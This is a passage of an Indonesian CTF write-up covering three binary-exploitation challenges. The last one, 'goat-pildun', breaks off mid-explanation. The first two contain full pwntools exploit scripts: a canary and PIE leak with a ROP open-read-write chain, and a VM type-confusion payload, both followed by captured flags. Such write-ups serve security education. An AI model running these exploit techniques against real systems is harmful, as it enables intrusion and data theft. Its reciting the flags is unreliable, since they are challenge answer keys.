Proteksinya cukup lengkap: 

- Full RELRO: GOT overwrite tidak bisa dipakai. 

- Canary: stack overflow harus leak canary dulu. 

- NX: tidak bisa langsung eksekusi shellcode di stack/heap. 

- PIE: butuh leak base address binary. 

- CET notes SHSTK/IBT aktif di metadata, jadi exploit lebih aman memakai gadget yang sudah 

ada di binary. 

Binary tidak stripped, jadi symbol seperti `main`, `play_track`, dan `gadget_farm` masih 

kelihatan. Saat dijalankan, binary menampilkan menu: 
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Fitur yang relevan untuk exploit adalah: 

- `3) Upload compressed track` 

- `5) Play track` 

Upload track meminta: 

Track title: 

Compressed bytes length (max 448): 

Send raw compressed bytes now: 

Data track disimpan di global array `tracks`. Dari disassembly, tiap entry kira-kira berbentuk 

seperti ini: 

struct track { 

    char title[0x18]; 

    uint16_t compressed_len; 

    char padding[6]; 

    char *compressed_data; 

}; 

Fungsi paling penting adalah `play_track`. Bagian prologue: 

0000000000001b70 <play_track>: 

    1b70: push   rbx 

    1b78: sub    rsp,0x110 

    1b88: mov    QWORD PTR [rsp+0x108],rax  ; save canary 

    1b92: mov    rbx,rsp                    ; output buffer 

Artinya stack frame `play_track` punya buffer lokal mulai dari `rsp`, dan canary berada di offset: 

buffer + 0x108. Saat memainkan track, program membaca track index, mengambil compressed 

data, lalu melakukan dekompresi format RLE sederhana. Setiap dua byte input dianggap 

sebagai: [count][byte]. Program menolak `count > 4`, tetapi tidak mengecek total output 

sebelum menulis ke stack buffer. Pseudocode bagian dekompresi: 
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out = stack_buffer; 

out_len = 0; 

 

for each pair in compressed_data: 

    count = pair[0]; 

    value = pair[1]; 

 

    if (count > 4) { 

        puts("Streaming policy rejected."); 

        exit(1); 

    } 

 

    for (i = 0; i < count; i++) { 

        out[out_len + i] = value; 

    } 

 

    out_len += count; 

Masalahnya: 

- Buffer stack efektif hanya sekitar `0x100` byte. 

- Compressed input boleh sampai `448` byte. 

- Karena setiap pair 2 byte dan `count <= 4`, output maksimal bisa mencapai `224 * 4 = 896` 

byte. 

- Ini cukup untuk overwrite canary, saved register, dan return address. 

Setelah dekompresi, program melakukan validasi printable hanya pada maksimal `0x100` byte 

pertama: 

1c56: mov    ecx,0x100 
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1c5b: cmp    r10,rcx 

1c5e: cmovbe rcx,r10 

... 

1c70: movzx  esi,BYTE PTR [rbx+rax] 

1c74: lea    edx,[rsi-0x20] 

1c77: cmp    dl,0x5e 

1c7a: ja     reject 

Jadi kalau hasil dekompresi lebih dari `0x100`, hanya 256 byte pertama yang dicek harus 

printable ASCII. Byte setelah offset `0x100`, termasuk canary dan ROP chain, tidak divalidasi. 

Setelah validasi, program selalu menulis `0x190` byte dari stack buffer ke stdout: 

1c89: puts("[Now Streaming Preview]") 

1c95: mov    edi,0x1 

1c9a: mov    edx,0x190 

1c9f: mov    rsi,rbx 

1ca2: call   write@plt 

Ini adalah info leak karena `write(1, stack_buffer, 0x190)` tetap dilakukan walaupun output 

dekompresi sangat kecil atau bahkan 0 byte. Untuk leak, kita upload compressed track: 

b"\x00A". Pair ini berarti: 

count = 0 

byte  = 'A' 

Tidak ada byte yang ditulis ke output buffer, tetapi preview tetap dump `0x190` byte isi stack. 

Leak ini berisi: 

- Stack canary di offset `0x108`. 

- Beberapa pointer PIE dari `.rodata`. 

- Pointer libc/stack lain yang tidak perlu dipakai untuk final exploit. 

Contoh parsing canary: canary = u64(leak[0x108:0x110]) 
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Awalnya exploit lokal juga memakai nilai sekitar offset `0x110` dan `0x118` untuk mencari 

stack pointer dan return address. Ini bekerja lokal, tetapi tidak stabil di remote. Di remote, 

offset tersebut ternyata tidak memberikan stack pointer valid dan PIE base yang dihitung tidak 

page-aligned. Contoh kegagalan awal: 

[*] canary=0xd4241a821a56f900 pie=0x5ec5970b9ff8 stack=0x5ec5970bcec5 

Nilai `pie=...9ff8` tidak page-aligned, dan `stack=...cec5` berada di range PIE, bukan range stack. 

Jadi pendekatan itu salah untuk remote. Karena preview leak berisi pointer ke string `.rodata`, 

PIE base bisa dihitung dengan lebih stabil. Dari `.rodata`, beberapa offset string yang sering 

muncul: 

0x3066  "=== HRD.exe Music Archive ===" 

0x3084  "1) Add book note" 

0x3095  "2) Delete book note" 

0x3004  "Track index:" 

0x30fe  "Index (0-6): " 

0x317c  "%d) %s (%u bytes)" 

0x318d  "\n" 

Strategi: 

1. Baca semua qword dari leak. 

2. Untuk setiap qword, kurangi dengan kandidat offset `.rodata`. 

3. Jika hasilnya page-aligned dan berada di range PIE normal, simpan sebagai kandidat base. 

4. Ambil kandidat yang paling sering muncul. 

Implementasi: 

def derive_base(leak: bytes) -> int: 

    rodata_offsets = [0x3066, 0x3084, 0x3095, 0x3004, 0x30FE, 0x317C, 0x318D] 

    candidates = [] 
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    for i in range(0, len(leak) - 7, 8): 

        value = u64(leak[i:i + 8]) 

        for off in rodata_offsets: 

            base = value - off 

            if base & 0xFFF == 0 and 0x500000000000 <= base <= 0x700000000000: 

                candidates.append(base) 

 

    return Counter(candidates).most_common(1)[0][0] 

Dengan ini, PIE base remote menjadi valid: 

[*] canary=0x3f81d33acc68c800 pie=0x56b317d35000 

Binary memiliki fungsi `gadget_farm`, yang memang terlihat seperti sengaja disediakan untuk 

ROP. 

Disassembly: 

0000000000001d30 <gadget_farm>: 

    1d44: pop    rax 

    1d45: ret 

    1d46: pop    rdi 

    1d47: ret 

    1d48: pop    rsi 

    1d49: ret 

    1d4a: pop    rdx 

    1d4b: ret 

    1d4c: pop    rsp 

    1d4d: ret 

    1d4e: syscall 
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    1d50: ret 

Offset gadget: 

pop_rax = base + 0x1d44 

pop_rdi = base + 0x1d46 

pop_rsi = base + 0x1d48 

pop_rdx = base + 0x1d4a 

pop_rsp = base + 0x1d4c 

syscall = base + 0x1d4e 

Gadget ini cukup untuk raw syscall ROP. Binary memasang seccomp filter di `main`. Dari 

konstanta BPF di disassembly, syscall penting yang diizinkan mencakup: 

- `read` 

- `write` 

- `close` 

- `openat` 

- `exit` 

- beberapa syscall runtime seperti `mmap`, `munmap`, `brk`, dan lainnya 

Karena `execve` tidak diizinkan, pendekatan spawn shell tidak cocok. Solusinya adalah ORW: 

openat(AT_FDCWD, path, O_RDONLY) 

read(fd, buf, size) 

write(1, buf, size) 

Setelah mendapatkan canary dan PIE base, kita bisa membuat payload dekompresi yang 

menimpa return address. Layout stack yang dipakai: 

offset 0x000: stack buffer 

offset 0x108: canary 
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offset 0x110: saved rbx 

offset 0x118: saved return address 

Payload stage 2: 

"A" * 0x108 

canary 

fake saved rbx 

ROP stager 

Kenapa filler `'A'`? Karena program memvalidasi maksimal 0x100 byte pertama output 

dekompresi sebagai printable ASCII. Huruf `A` aman. Canary berada setelah offset `0x100`, 

sehingga byte canary yang non-printable tidak ikut divalidasi. Kenapa Perlu Stager? 

Compressed input maksimal hanya 448 byte. Walaupun output dekompresinya bisa besar, 

encoding RLE membuat chain panjang kurang nyaman jika seluruh ORW chain langsung 

dimasukkan sebagai compressed payload. 

Solusi: 

1. Stage 2 hanya berisi ROP kecil. 

2. ROP kecil memanggil `read(0, bss, 0x800)`. 

3. Setelah `read`, stack dipivot ke `.bss` dengan `pop rsp; ret`. 

4. Stage 3 dikirim mentah, tanpa perlu RLE. 

Stage 2 ROP: 

stage3_addr = base + 0x5200 

 

chain = [ 

    pop_rax, 0,              # syscall read 

    pop_rdi, 0,              # fd stdin 

    pop_rsi, stage3_addr,    # destination .bss 
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    pop_rdx, 0x800,          # size 

    syscall, 

    pop_rsp, stage3_addr,    # pivot stack ke .bss 

] 

Payload stage 2 lengkap: 

payload = b"A" * 0x108 

payload += p64(canary) 

payload += p64(0) 

payload += chain 

compressed = rle(payload) 

Dengan pendekatan ini, exploit tidak perlu leak stack pointer. Ini juga memperbaiki masalah 

remote yang sebelumnya gagal karena perhitungan stack tidak valid. Stage 3 diletakkan di 

`.bss` pada: 

stage3_addr = base + 0x5200 

buf = base + 0x5A00 

ROP chain melakukan: 

close(3) 

close(4) 

close(5) 

close(6) 

close(7) 

Tujuannya agar `openat` berikutnya kemungkinan besar mengembalikan fd `3`. Ini penting 

karena tidak ada gadget mudah seperti `xchg rdi, rax` atau `mov rdi, rax`, jadi fd hasil `openat` 

tidak langsung dipindahkan dari `rax` ke `rdi`. Setelah itu untuk setiap path kandidat: 

close(3) 
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openat(AT_FDCWD, path, O_RDONLY) 

read(3, buf, 0x200) 

write(1, buf, 0x200) 

Implementasi intinya: 

chain += pack_chain( 

    pop_rax, 257, 

    pop_rdi, 0xFFFFFFFFFFFFFF9C,  # AT_FDCWD = -100 

    pop_rsi, path_addr, 

    pop_rdx, 0, 

    syscall, 

) 

 

chain += pack_chain( 

    pop_rax, 0, 

    pop_rdi, 3, 

    pop_rsi, buf, 

    pop_rdx, 0x200, 

    syscall, 

) 

 

chain += pack_chain( 

    pop_rax, 1, 

    pop_rdi, 1, 

    syscall, 

) 
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Path default yang dicoba: 

["./flag.txt", "flag.txt", "/flag", "/flag.txt", "/app/flag.txt"] 

Urutan exploit final: 

1. Upload track leak dengan compressed data `b"\x00A"`. 

2. Play track 0 untuk mendapatkan preview leak 0x190 byte. 

3. Ambil canary dari `leak[0x108:0x110]`. 

4. Derive PIE base dari pointer `.rodata` di leak. 

5. Build compressed stage 2: 

   - preserve canary 

   - overwrite return address dengan ROP kecil 

   - `read(0, base+0x5200, 0x800)` 

   - `pop rsp; ret` ke `base+0x5200` 

6. Upload stage 2 sebagai track 1. 

7. Play track 1 untuk trigger overflow. 

8. Setelah preview selesai, stage 2 jalan dan menunggu input stage 3. 

9. Kirim stage 3 mentah: 

   - ORW ke kandidat path flag 

   - print hasil ke stdout 

10. Parse output dengan regex flag. 

#!/usr/bin/env python3 

from pwn import * 

import re 

from collections import Counter 
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context.binary = exe = ELF("./chall", checksec=False) 

context.log_level = args.LOG or "info" 

 

 

def rle(data: bytes) -> bytes: 

    out = bytearray() 

    i = 0 

    while i < len(data): 

        b = data[i] 

        n = 1 

        while i + n < len(data) and data[i + n] == b and n < 4: 

            n += 1 

        out += bytes([n, b]) 

        i += n 

    return bytes(out) 

 

 

def start(): 

    if args.REMOTE: 

        return remote(args.HOST, int(args.PORT)) 

    return process([exe.path]) 

 

 

def menu(io, choice: int): 

    io.sendlineafter(b"> ", str(choice).encode()) 

 

 

def upload(io, title: bytes, data: bytes): 

    assert 1 <= len(data) <= 448 

    menu(io, 3) 

    io.sendlineafter(b"Track title:", title) 

    io.sendlineafter(b"Compressed bytes length (max 448):", 

str(len(data)).encode()) 

    io.sendafter(b"Send raw compressed bytes now:", data) 

 

 

def play(io, idx: int): 

    menu(io, 5) 

    io.sendlineafter(b"Track index:", str(idx).encode()) 
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def qwords(base: int): 

    return { 

        "pop_rax": base + 0x1D44, 

        "pop_rdi": base + 0x1D46, 

        "pop_rsi": base + 0x1D48, 

        "pop_rdx": base + 0x1D4A, 

        "pop_rsp": base + 0x1D4C, 

        "syscall": base + 0x1D4E, 

    } 

 

 

def pack_chain(*items: int) -> bytes: 

    return b"".join(p64(x) for x in items) 

 

 

def derive_base(leak: bytes) -> int: 

    rodata_offsets = [0x3066, 0x3084, 0x3095, 0x3004, 0x30FE, 0x317C, 0x318D] 

    candidates = [] 

 

    for i in range(0, len(leak) - 7, 8): 

        value = u64(leak[i:i + 8]) 

        for off in rodata_offsets: 

            base = value - off 

            if base & 0xFFF == 0 and 0x500000000000 <= base <= 0x700000000000: 

                candidates.append(base) 

 

    if not candidates: 

        raise ValueError("could not derive PIE base from preview leak") 

    return Counter(candidates).most_common(1)[0][0] 

 

 

def build_stager(base: int, canary: int): 

    g = qwords(base) 

    stage3_addr = base + 0x5200 

 

    chain = pack_chain( 

        g["pop_rax"], 0, 

        g["pop_rdi"], 0, 

        g["pop_rsi"], stage3_addr, 

        g["pop_rdx"], 0x800, 

        g["syscall"], 
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        g["pop_rsp"], stage3_addr, 

    ) 

    payload = b"A" * 0x108 + p64(canary) + p64(0) + chain 

    compressed = rle(payload) 

    assert len(compressed) <= 448 

    return compressed, stage3_addr 

 

 

def build_orw(base: int, stage3_addr: int, paths: list[str]) -> bytes: 

    g = qwords(base) 

    buf = base + 0x5A00 

 

    initial_close_len = 5 * 40 

    per_path_len = 40 + 72 + 72 + 40 

    exit_len = 40 

    strings_base = stage3_addr + initial_close_len + per_path_len * len(paths) + 

exit_len 

 

    strings = b"" 

    path_addrs = [] 

    cur = strings_base 

    for path in paths: 

        raw = path.encode() + b"\x00" 

        path_addrs.append(cur) 

        strings += raw 

        cur += len(raw) 

 

    chain = b"" 

    for fd in range(3, 8): 

        chain += pack_chain(g["pop_rax"], 3, g["pop_rdi"], fd, g["syscall"]) 

 

    for addr in path_addrs: 

        chain += pack_chain(g["pop_rax"], 3, g["pop_rdi"], 3, g["syscall"]) 

        chain += pack_chain( 

            g["pop_rax"], 257, 

            g["pop_rdi"], 0xFFFFFFFFFFFFFF9C, 

            g["pop_rsi"], addr, 

            g["pop_rdx"], 0, 

            g["syscall"], 

        ) 

        chain += pack_chain( 
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            g["pop_rax"], 0, 

            g["pop_rdi"], 3, 

            g["pop_rsi"], buf, 

            g["pop_rdx"], 0x200, 

            g["syscall"], 

        ) 

        chain += pack_chain(g["pop_rax"], 1, g["pop_rdi"], 1, g["syscall"]) 

 

    chain += pack_chain(g["pop_rax"], 60, g["pop_rdi"], 0, g["syscall"]) 

    assert len(chain) == strings_base - stage3_addr 

    return chain + strings 

 

 

def main(): 

    io = start() 

 

    upload(io, b"L", b"\x00A") 

    play(io, 0) 

    io.recvuntil(b"[Now Streaming Preview]\n") 

    leak = io.recvn(0x190) 

    io.recvuntil(b"-- end preview --\n") 

 

    canary = u64(leak[0x108:0x110]) 

    base = derive_base(leak) 

    log.info(f"canary={canary:#x} pie={base:#x}") 

 

    stage2, stage3_addr = build_stager(base, canary) 

    upload(io, b"S", stage2) 

    play(io, 1) 

    io.recvuntil(b"-- end preview --\n") 

 

    if args.PATH: 

        paths = [args.PATH] 

    elif args.TEST: 

        paths = ["README"] 

    else: 

        paths = ["./flag.txt", "flag.txt", "/flag", "/flag.txt", "/app/flag.txt"] 

 

    stage3 = build_orw(base, stage3_addr, paths) 

    io.send(stage3) 

    out = io.recvall(timeout=3) 
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    m = re.search(rb"[A-Za-z0-9_./-]{0,32}\{[^}\n]{1,160}\}", out) 

    if m: 

        print(m.group(0).decode(errors="replace")) 

    else: 

        print(out.decode(errors="replace")) 

 

 

if __name__ == "__main__": 

    main() 

FLAG: GCW{h41_s3l4M4T_YH?!?!?!_See_you_in_final} 
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idx-engine (100 Points) 
 

Dolar Naik Terus, IHSG Junam, BBCA gue juga :( 
 
nc ctf.gcwug.com 1812 
 
Author : nauth 

Recon file 

 

Semua proteksi utama aktif: 

- Full RELRO membuat GOT read-only. 

- Stack canary menghalangi stack buffer overflow biasa. 

- NX mencegah eksekusi shellcode pada data memory. 

- PIE membuat alamat binary berubah setiap proses. 

- SHSTK dan IBT menunjukkan binary dikompilasi dengan dukungan Intel CET. 

Walaupun demikian, exploit ini tidak membutuhkan control-flow hijacking. Targetnya hanya 

membuat VM memperlakukan sebuah alamat sebagai pointer string, kemudian menggunakan 

fungsi print milik VM sendiri. Karena itu, NX, canary, RELRO, SHSTK, dan IBT tidak menjadi 

penghalang. Binary juga tidak di-strip, sehingga symbol seperti `decrypted_flag` dan `real_flag` 

masih tersedia: 

0000000000007180 D decrypted_flag 

0000000000007200 D real_flag 
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00000000000072c0 B current_market_state 

Selisih kedua buffer flag adalah: 

real_flag - decrypted_flag 

= 0x7200 - 0x7180 

= 0x80 

Menu utama program adalah: 

 

Menu ketiga menerima panjang bytecode, melakukan alokasi heap, membaca bytecode, 

menginisialisasi `VM`, lalu menjalankan `vm_run()`. Menu keempat menampilkan diagnostics, 

termasuk alamat beberapa object global: 

 

Presented by @hackitbraw_ub 



121 

Leak `decrypted_flag` ini cukup untuk mengalahkan PIE karena offset symbol lain di dalam 

binary tetap konstan. Setiap value VM direpresentasikan oleh `Variant`: 

typedef enum { 

    VAL_NIL, 

    VAL_INT, 

    VAL_DOUBLE, 

    VAL_PTR_PORTFOLIO, 

    VAL_PTR_TICKER, 

    VAL_PTR_STRING 

} ValType; 

 

typedef struct { 

    ValType type; 

    int padding; 

    union { 

        long long int_val; 

        double double_val; 

        void *ptr_val; 

    } as; 

} Variant; 

Pada amd64, layout-nya adalah: 

Offset  Size  Field 

0x00    4     type 

0x04    4     padding 

0x08    8     as.int_val / as.double_val / as.ptr_val 
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Ukuran total `Variant` adalah `0x10` byte. Hal penting di sini adalah union `as`. Delapan byte 

yang sama dapat dianggap sebagai integer, double, atau pointer, tergantung nilai `type`. Sebagai 

contoh: 

Variant { 

    type       = VAL_INT, 

    as.int_val = 0x55555555a200 

} 

akan dicetak sebagai angka. Jika field `type` dapat diubah menjadi `VAL_PTR_STRING` tanpa 

mengubah union-nya, value yang sama akan menjadi: 

Variant { 

    type       = VAL_PTR_STRING, 

    as.ptr_val = 0x55555555a200 

} 

Ketika value tersebut diberikan kepada `OP_PRINT`, VM menjalankan: 

printf("%s\n", (char *)v.as.ptr_val); 

Dengan demikian, pointer arbitrary yang valid dapat dicetak sebagai string. Struktur `VM` 

berisi stack, locals, dan registers: 

typedef struct { 

    Portfolio *portfolio; 

    Ticker *tickers; 

    int num_tickers; 

    unsigned char *bytecode; 

    int ip; 

    int bytecode_len; 

    int halted; 

    MarketState *state; 
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    Variant stack[MAX_STACK]; 

    Variant locals[MAX_LOCALS]; 

    long long registers[MAX_REGISTERS]; 

    int sp; 

} VM; 

Layout aktualnya pada binary amd64: 

Field          Offset 

portfolio      0x000 

tickers        0x008 

num_tickers    0x010 

bytecode       0x018 

ip             0x020 

bytecode_len   0x024 

halted         0x028 

state          0x030 

stack          0x038 

locals         0x438 

registers      0x538 

sp             0x578 

Ukuran object `VM` adalah `0x580` byte. 

Menu diagnostics juga mengonfirmasi offset-offset ini: 

&dummy.stack     ... (Offset: 56) 

&dummy.locals    ... (Offset: 1080) 

&dummy.registers ... (Offset: 1336) 

Dalam hexadecimal: 
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56   = 0x038 

1080 = 0x438 

1336 = 0x538 

Implementasi `OP_LOAD_REG` membaca index sebagai signed 16-bit integer: 

short reg_idx; 

memcpy(&reg_idx, &vm->bytecode[vm->ip], 2); 

vm->ip += 2; 

 

if (reg_idx >= MAX_REGISTERS) { 

    printf("VM Error: Invalid register index %d\n", reg_idx); 

    vm->halted = 1; 

    return; 

} 

 

Variant v; 

v.type = VAL_INT; 

v.as.int_val = vm->registers[reg_idx]; 

push(vm, v); 

Bug yang sama terdapat pada `OP_STORE_REG`: 

short reg_idx; 

memcpy(&reg_idx, &vm->bytecode[vm->ip], 2); 

vm->ip += 2; 

 

if (reg_idx >= MAX_REGISTERS) { 

    printf("VM Error: Invalid register index %d\n", reg_idx); 

    vm->halted = 1; 
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    return; 

} 

 

Variant v = pop(vm); 

if (v.type != VAL_INT) { 

    printf("VM Error: OP_STORE_REG expects VAL_INT\n"); 

    vm->halted = 1; 

    return; 

} 

 

vm->registers[reg_idx] = v.as.int_val; 

Validasi hanya memeriksa batas atas: 

if (reg_idx >= MAX_REGISTERS) 

Tidak ada pemeriksaan: 

reg_idx < 0 

Karena `reg_idx` bertipe `short`, bytecode dapat memberikan nilai negatif. Ekspresi berikut 

kemudian mengakses memory sebelum array `registers`: 

vm->registers[reg_idx] 

Akibatnya: 

- `OP_LOAD_REG` memberi out-of-bounds read delapan byte. 

- `OP_STORE_REG` memberi out-of-bounds write delapan byte. 

Target exploit yang paling sederhana adalah `locals[0]`, karena letaknya tepat sebelum 

`registers`. Alamat akses `STORE_REG` dihitung sebagai: 

address = &vm->registers[0] + reg_idx * sizeof(long long) 

Target yang diinginkan: 
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address = &vm->locals[0] 

Offset kedua field: 

locals[0]    = VM + 0x438 

registers[0] = VM + 0x538 

Maka: 

reg_idx = (0x438 - 0x538) / 8 

        = -0x100 / 8 

        = -0x20 

        = -32 

Jadi: 

vm->registers[-32] 

mengarah tepat ke delapan byte pertama `locals[0]`, yaitu gabungan: 

locals[0].type    // 4 byte 

locals[0].padding // 4 byte 

Jika nilai `5` ditulis ke lokasi tersebut sebagai sebuah `long long`, hasilnya: 05 00 00 00 00 00 

00 00 

Sehingga: 

locals[0].type    = 5 = VAL_PTR_STRING 

locals[0].padding = 0 

Union pada offset `locals[0] + 8` tidak ikut berubah. Alamat `real_flag` tidak dapat di-hardcode 

karena binary menggunakan PIE. Namun, menu diagnostics mencetak alamat runtime 

`decrypted_flag`. Karena kedua symbol berada pada image PIE yang sama: 

real_flag_runtime 

= decrypted_flag_runtime 

 + real_flag_file_offset 

 - decrypted_flag_file_offset 
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Dengan symbol dari ELF: 

decrypted_flag = 0x7180 

real_flag      = 0x7200 

Maka: 

real_flag_runtime = leaked_decrypted_flag + 0x80 

Di exploit, perhitungan dilakukan langsung menggunakan symbol pwntools agar tidak 

bergantung pada konstanta manual: 

real_flag = ( 

    decrypted_flag 

    + elf.sym.real_flag 

    - elf.sym.decrypted_flag 

) 

Program memuat isi flag ke buffer `real_flag` saat startup. Karena itu, jika alamat buffer 

tersebut dicetak sebagai C string, flag dapat diperoleh tanpa harus memenuhi kondisi audit. 

Exploit membuat `locals[0]` dalam dua tahap. Tahap 1: Menyimpan Alamat sebagai Integer 

Instruksi: 

PUSH_INT real_flag 

STORE_LOCAL 0 

Setelah dijalankan: 

locals[0].type       = VAL_INT 

locals[0].as.int_val = real_flag 

Karena union menggunakan storage yang sama, `as.int_val` tersebut juga merupakan bit 

pattern yang valid untuk `as.ptr_val`. 

Tahap 2: Mengubah Type dengan OOB Write 

Instruksi: 

PUSH_INT 5 
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STORE_REG -32 

`PUSH_INT 5` menghasilkan: 

Variant { 

    type       = VAL_INT, 

    as.int_val = 5 

} 

`STORE_REG` memeriksa bahwa value yang di-pop memang `VAL_INT`, lalu menulis 

`v.as.int_val`, yaitu `5`, ke: vm->registers[-32] 

Lokasi tersebut adalah delapan byte pertama `locals[0]`. Setelah write: 

locals[0].type       = VAL_PTR_STRING 

locals[0].as.ptr_val = real_flag 

Ini adalah type confusion: value awalnya dibuat sebagai integer, tetapi metadata type diubah 

sehingga VM menganggap payload yang sama sebagai pointer. Instruksi terakhir: 

LOAD_LOCAL 0 

PRINT 

HALT 

`LOAD_LOCAL 0` memasukkan forged `Variant` ke VM stack. `PRINT` melihat type 

`VAL_PTR_STRING` dan menjalankan: 

printf("%s\n", (char *)v.as.ptr_val); 

Karena `v.as.ptr_val == real_flag`, flag dicetak ke koneksi. Opcode yang digunakan: 

Opcode       Nilai   Operand 

PUSH_INT      0x01   int64 little-endian 

LOAD_LOCAL    0x08   uint8 index 

STORE_LOCAL   0x09   uint8 index 

STORE_REG     0x0b   int16 little-endian 
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PRINT         0x0f   - 

HALT          0x10   - 

Bytecode lengkap: 

Offset  Instruksi 

0x00    PUSH_INT real_flag 

0x09    STORE_LOCAL 0 

0x0b    PUSH_INT 5 

0x14    STORE_REG -32 

0x17    LOAD_LOCAL 0 

0x19    PRINT 

0x1a    HALT 

Total payload hanya `0x1b` atau 27 byte. Untuk sebuah contoh alamat:  

real_flag = 0x000055555555b200 

payload akan berbentuk: 

01 00 b2 55 55 55 55 00 00    PUSH_INT real_flag 

09 00                         STORE_LOCAL 0 

01 05 00 00 00 00 00 00 00    PUSH_INT 5 

0b e0 ff                      STORE_REG -32 

08 00                         LOAD_LOCAL 0 

0f                            PRINT 

10                            HALT 

Encoding signed 16-bit untuk `-32` adalah: -32 = 0xffe0 

Karena bytecode memakai little-endian, operand-nya menjadi: e0 ff 

Exploit Script 

#!/usr/bin/env python3 
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import re 

import struct 

 

from pwn import ELF, args, context, log, p64, process, remote 

 

 

HOST = "ctf.gcwug.com" 

PORT = 1812 

 

OP_PUSH_INT = 1 

OP_LOAD_LOCAL = 8 

OP_STORE_LOCAL = 9 

OP_STORE_REG = 11 

OP_PRINT = 15 

OP_HALT = 16 

 

VAL_PTR_STRING = 5 

LOCAL_0_TYPE_REGISTER_INDEX = -32 

 

context.binary = elf = ELF("./idx-engine", checksec=False) 

 

 

def start(): 

    if args.LOCAL: 

        return process(elf.path) 
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    return remote(HOST, PORT) 

 

 

def push_int(value): 

    return bytes([OP_PUSH_INT]) + p64(value) 

 

 

def store_reg(index): 

    return bytes([OP_STORE_REG]) + struct.pack("<h", index) 

 

 

io = start() 

 

# Ambil leak PIE dari menu diagnostics. 

io.sendlineafter(b"Enter choice: ", b"4") 

diagnostics = io.recvuntil(b"Enter choice: ") 

match = re.search( 

    rb"decrypted_flag\s+: (0x[0-9a-fA-F]+)", 

    diagnostics, 

) 

if not match: 

    log.failure("Could not parse the PIE leak") 

    raise SystemExit(1) 

 

decrypted_flag = int(match.group(1), 16) 

real_flag = ( 
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    decrypted_flag 

    + elf.sym.real_flag 

    - elf.sym.decrypted_flag 

) 

log.info(f"real_flag: {real_flag:#x}") 

 

# Simpan alamat sebagai VAL_INT, lalu ubah type locals[0] menjadi 

# VAL_PTR_STRING menggunakan STORE_REG dengan index negatif. 

payload = b"".join( 

    [ 

        push_int(real_flag), 

        bytes([OP_STORE_LOCAL, 0]), 

        push_int(VAL_PTR_STRING), 

        store_reg(LOCAL_0_TYPE_REGISTER_INDEX), 

        bytes([OP_LOAD_LOCAL, 0]), 

        bytes([OP_PRINT]), 

        bytes([OP_HALT]), 

    ] 

) 

 

io.sendline(b"3") 

io.sendlineafter( 

    b"Enter script size (max 4096 bytes): ", 

    str(len(payload)).encode(), 

) 

io.sendafter(b"Send script bytes now:\n", payload) 
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output = io.recvuntil(b"[*] Execution halted.") 

 

flag = re.search(rb"GCW\{[^}\r\n]+\}", output) 

if not flag: 

    log.failure("Flag was not present in VM output") 

    print(output.decode(errors="replace")) 

    raise SystemExit(1) 

 

log.success(flag.group(0).decode()) 

io.close() 

Alurnya adalah: 

1. Terhubung ke service. 

2. Memilih menu diagnostics. 

3. Mengambil leak alamat `decrypted_flag`. 

4. Menghitung alamat runtime `real_flag`. 

5. Membuat bytecode 27 byte. 

6. Mengunggah dan menjalankan bytecode. 

7. Mengambil flag dari output `OP_PRINT`. 

FLAG: GCW{purb4y4_sa1d_1hsg_sm4rt_tr4d1ng_vm_3sc4p3_77f8} 
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goat-pildun (100 Points) 
 

Messi or Ronaldo? 
 
nc ctf.gcwug.com 1204 
 
Author : nauth 

Recon file 

 

Hal penting dari proteksi: 

- No PIE: alamat binary, GOT, dan global variable tetap. 

- No canary: stack overflow di parent bisa langsung overwrite return address. 

- NX enabled: perlu ROP, bukan shellcode stack. 

- Binary punya note SHSTK/IBT, tapi di environment challenge ROP masih bisa berjalan. 

Dari `nm -n challenge/pildun.elf`: 
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Struktur player dari pola akses fungsi print: 

struct player { 

    char name[0x20];       // offset 0x00 

    char *quote;           // offset 0x20 

    void (*print)(void *); // offset 0x28 

    int ballons;           // offset 0x30 

    int world_cups;        // offset 0x34 

}; 

`main()` melakukan: 

1. `socketpair()` 

2. `fork()` 

3. Child: 

   - close salah satu socket fd 

   - simpan socket parent di global `parent_socket` 

   - `install_sandbox()` 

   - `init_players()` 

   - `run_menu()` 

4. Parent: 

   - close fd socket child 

   - `open("flag.txt")` 

   - jika gagal, isi `flag_buf` dengan mock flag 

   - jika sukses, baca isi flag ke `flag_buf` 

   - `run_broker(socket_fd)` 

Presented by @hackitbraw_ub 



136 

Poin penting: child yang menerima input user tidak punya flag asli. Parent yang punya 

kesempatan membaca flag, dan parent juga yang memiliki bug stack overflow di `run_broker()`. 

## UAF di delete_player 

`delete_player(idx)` melakukan kira-kira: 

if (players[idx]->quote) 

    free(players[idx]->quote); 

 

free(players[idx]); 

puts("Player deleted successfully!"); 

Tetapi `players[idx]` tidak di-set menjadi `NULL`. Akibatnya: 

- `players[idx]` masih menunjuk ke heap chunk yang sudah di-free. 

- Kita bisa reclaim chunk tersebut dengan `add_comment()`. 

- Setelah reclaim, `view_player(idx)` akan memperlakukan comment kita sebagai `struct 

player`. 

Ukuran chunk juga cocok: 

- `malloc(0x38)` untuk player menghasilkan chunk kelas player. 

- `malloc(0x40)` untuk quote menghasilkan chunk kelas quote. 

- Dengan `add_comment(slot, 0x38, data)`, chunk player yang sudah di-free bisa direclaim. 

Fake player yang dipakai: 

def fake_player(quote_ptr): 

    return fit( 

        { 

            0x00: b"X\x00", 

            0x20: p64(quote_ptr), 

            0x28: p64(PRINT_MESSI), 
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        }, 

        filler=b"A", 

        length=0x30, 

    ) 

`PRINT_MESSI = 0x401356`. 

Kenapa `print_messi` berguna? Fungsi ini melakukan: 

printf("=== GOAT Profile: %s ===", player->name); 

printf("Quote: %s", player->quote); 

Jika `player->quote` kita isi dengan alamat arbitrary, maka `view_player(0)` akan print isi 

alamat tersebut sebagai C-string. Ini cukup untuk leak pointer libc dari GOT. 

## Leak libc 

Karena binary No PIE, alamat GOT tetap. Contoh: 

raw = leak_cstring(io, exe.got["printf"]) 

printf_leak = u64(raw[:6].ljust(8, b"\x00")) 

libc_base = printf_leak - libc.symbols["printf"] 

Kenapa hanya 6 byte? Alamat userland x86_64 biasanya hanya memakai 6 byte bawah. Leak 

lewat `%s` berhenti jika bertemu `\x00`, jadi parsing 6 byte sudah cukup. Dengan libc 

provided: 

printf = 0x606f0 

open   = 0x114560 

read   = 0x114850 

write  = 0x1148f0 

exit   = 0x455f0 

Gadget penting dari libc provided: 

pop rdi; ret           = 0x2a3e5 

pop rsi; ret           = 0x2be51 
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pop rdx; pop rbx; ret  = 0x904a9 

Tidak ada gadget simple `pop rdx; ret`, jadi pakai `pop rdx; pop rbx; ret`. 

## Bug 2: Stack Overflow di Parent Broker 

`submit_release()` di child: 

scanf("%d", &idx); 

scanf("%d", &size); 

write(parent_socket, &size, 4); 

write(parent_socket, players[idx]->quote, size); 

